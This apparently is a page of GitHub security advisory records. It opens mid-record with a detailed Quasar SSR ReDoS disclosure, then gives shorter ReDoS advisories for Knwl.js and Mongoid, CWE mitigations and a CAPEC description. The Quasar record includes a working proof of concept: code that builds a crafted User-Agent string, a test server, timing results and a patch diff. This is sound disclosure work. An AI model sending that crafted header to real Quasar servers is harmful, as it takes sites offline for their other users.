"details": "### Summary\n\nOne unauthenticated request with a crafted `User-Agent` stalls a Quasar SSR server for seconds.\n\nQuasar auto-installs its `Platform` plugin on every server-side render, and `Platform.parseSSR()` feeds the raw, unbounded `User-Agent` request header into a chain of backtracking regular expressions in `getMatch()`. One of those patterns contains a greedy capture followed by two unbounded `.*` scans, so a crafted header costs time proportional to the cube of its length. An 8 KB `User-Agent` blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.\n\n### Details\n\n`Platform` is in the `autoInstalledPlugins` array in `ui/src/install-quasar.js`, so it is installed unconditionally by `app.use(Quasar, ...)`. The generated SSR entry (`app-vite/templates/entry/app.js`, called from `app-vite/templates/entry/server-entry.js`) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (`ui/src/plugins/platform/Platform.js`):\n\n```js\nPlatform.parseSSR = ssrContext =\u003e {\n const ua =\n ssrContext.req.headers[\u0027user-agent\u0027] ||\n ssrContext.req.headers[\u0027User-Agent\u0027] ||\n \u0027\u0027\n\n return { ...client, userAgent: ua, is: getPlatform(ua) }\n}\n```\n\n`getPlatform()` lowercases the string and passes it to `getMatch()` (`ui/src/plugins/platform/Platform.js:23-45`), which evaluates an ordered chain of `exec()` calls. The sixth alternative, at `ui/src/plugins/platform/Platform.js:32-34`, is the problem:\n\n```js\n/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(userAgent)\n```\n\n`([\\w.]+)` is greedy and unbounded, and it is followed by two unbounded `.*` scans. When the input contains `webkit/`, many `version/` tokens, and no `safari/`, the pattern can only fail after the engine has tried every combination of \"where `([\\w.]+)` stops\" against \"which `version` occurrence the first `.*` lands on\" against \"how far the second `.*` searches for `safari`\". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.\n\nMeasured on the functions loaded verbatim out of `ui/src/plugins/platform/Platform.js`, cost grows by a factor of eight for every doubling of the header:\n\n```\nUA 3998 B -\u003e 554 ms\nUA 7998 B -\u003e 4368 ms fits nginx default large_client_header_buffers 8k\nUA 15998 B -\u003e 34995 ms fits Node.js default --max-http-header-size 16k\n```\n\nA same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.\n\nClient-side rendering is not affected: there `getPlatform()` only ever sees `navigator.userAgent`, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.\n\n### PoC\n\nThe vulnerable pattern ships in the published package. From `node_modules/quasar/dist/quasar.server.prod.js` of `quasar@2.23.1`:\n\n```\nfunction M(e,t){let n=/(edg|edge|edga|edgios)\\/([\\w.]+)/.exec(e)||...\n ||/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(e)||...\nI.parseSSR=e=\u003e{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;\n return{...F,userAgent:t,is:P(t)}};\n```\n\nBuild the header:\n\n```js\nconst k = 3200 // filler that maximises the greedy capture\nconst m = 479 // \"version/\" tokens for the first .* to land on\nconst ua = \u0027webkit/\u0027 + \u0027a\u0027.repeat(k) + \u0027 \u0027 + \u0027version/1 \u0027.repeat(m) // 7998 bytes\n```\n\nServer used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:\n\n```js\nimport http from \u0027node:http\u0027\nimport { Platform } from \u0027quasar\u0027 // resolves to dist/quasar.server.prod.js\n\nhttp.createServer((req, res) =\u003e {\n const platform = Platform.parseSSR({ req, res }) // what app.use(Quasar, ...) does\n res.end(`\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003ebrowser=${platform.is.name}\u003c/body\u003e\u003c/html\u003e`)\n}).listen(3100, \u0027127.0.0.1\u0027)\n```\n\nResults of driving that server with the 7998-byte header:\n\n```\n[1] BASELINE - normal browser UA\n benign UA, GET / status=200 13 ms\n benign UA, GET / (2nd) status=200 1 ms\n\n[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length\n same-size benign UA status=200 2 ms\n\n[3] POSITIVE - crafted User-Agent\n malicious UA, GET / status=200 4355 ms\n\n[4] POSITIVE - crafted UA against a NON-EXISTENT route\n malicious UA, GET /404path status=200 4319 ms\n\n[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later\n attacker (malicious UA) status=200 4329 ms\n VICTIM (normal browser, benign UA) status=200 4208 ms\n\n[6] SUSTAINED - 5 attacker requests in flight, victim loads the site\n VICTIM during 5-request flood status=200 21646 ms\n```\n\nStep 5 is the part that matters. The victim sends an ordinary request with an ordinary `User-Agent` and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else\u0027s header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.\n\nNegative control on the library itself. One line changed in the installed `node_modules/quasar/dist/quasar.server.prod.js`:\n\n```\n- I.parseSSR=e=\u003e{let t=...;return{...F,userAgent:t,is:P(t)}};\n+ I.parseSSR=e=\u003e{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};\n```\n\nRe-running the identical attack against the patched build:\n\n```\n[3] malicious UA, GET / status=200 2 ms was 4355 ms\n[4] malicious UA, GET /404path status=200 2 ms was 4319 ms\n[5] VICTIM (normal browser) status=200 3 ms was 4208 ms\n[6] VICTIM during 5-request flood status=200 2 ms was 21646 ms\n```\n\nDetection of real browsers is unchanged by the cap (`chrome 126.0.0.0`, platform `linux`), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.\n\nThe same numbers come out of a server that never touches `parseSSR` directly and instead boots Quasar the way the generated entry does, letting `install-quasar.js` run the auto-installed plugin list on its own:\n\n```js\nconst ssrContext = { req, res }\nconst app = createSSRApp(RootComponent)\napp.use(Quasar, {}, ssrContext)\nconst html = await renderToString(app, ssrContext)\n```\n\n```\n[3] malicious UA, GET / status=200 4354 ms\n[5] VICTIM (normal browser, benign UA) status=200 4269 ms\n[6] VICTIM during 5-request flood status=200 21872 ms\n[2] same-size benign UA (7998 B) status=200 2 ms\n```\n\n### Impact\n\nUncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both `quasar dev -m ssr` and `quasar build -m ssr`. There is no configuration that turns it off, because `Platform` is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.\n\nNode.js is single threaded, so the cost is not paid by the attacker\u0027s connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.\n\nApps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local `navigator.userAgent`. Static site generation is not affected either, because the `ssrContext` used there is supplied by the developer rather than by a request.",
"id": "GHSA-68jq-fhch-4xq4",
"modified": "2026-10-07T16:14:31Z",
"published": "2026-10-07T16:14:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106104"
},
{
"type": "WEB",
"url": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/quasarframework/quasar"
},
{
"type": "WEB",
"url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server"
}
GHSA-68QG-G787-3RP5
Vulnerability from github – Published: 2024-10-26 21:30 – Updated: 2024-10-28 14:50Knwl.js is a Javascript library that parses through text for dates, times, phone numbers, emails, places, and more. Versions 1.0.2 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no known patches are available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "knwl.js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-26306"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-28T14:50:17Z",
"nvd_published_at": "2024-10-26T21:15:13Z",
"severity": "MODERATE"
},
"details": "Knwl.js is a Javascript library that parses through text for dates, times, phone numbers, emails, places, and more. Versions 1.0.2 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no known patches are available.",
"id": "GHSA-68qg-g787-3rp5",
"modified": "2024-10-28T14:50:17Z",
"published": "2024-10-26T21:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26306"
},
{
"type": "WEB",
"url": "https://github.com/benhmoore/Knwl/issues/106"
},
{
"type": "WEB",
"url": "https://github.com/benhmoore/Knwl/commit/88aa966b1415a167c7c91b70053b72c7762c1cc0"
},
{
"type": "PACKAGE",
"url": "https://github.com/benhmoore/Knwl"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-296-redos-Knwl.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green",
"type": "CVSS_V4"
}
],
"summary": "Knwl.js Regular Expression Denial of Service vulnerability"
}
GHSA-6C34-F5WX-M58M
Vulnerability from github – Published: 2026-09-18 18:31 – Updated: 2026-09-18 18:31An inefficient regular expression complexity issue in the in-memory query evaluation component of the Mongoid library may allow an unauthenticated party to cause excessive processing within an embedding application process. Applications that place user-supplied text into a pattern-matching query condition on an embedded association may become unresponsive.
{
"affected": [],
"aliases": [
"CVE-2026-93761"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-18T18:18:34Z",
"severity": "HIGH"
},
"details": "An inefficient regular expression complexity issue in the in-memory query evaluation component of the Mongoid library may allow an unauthenticated party to cause excessive processing within an embedding application process. Applications that place user-supplied text into a pattern-matching query condition on an embedded association may become unresponsive.",
"id": "GHSA-6c34-f5wx-m58m",
"modified": "2026-09-18T18:31:44Z",
"published": "2026-09-18T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93761"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/MONGOID-5981"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.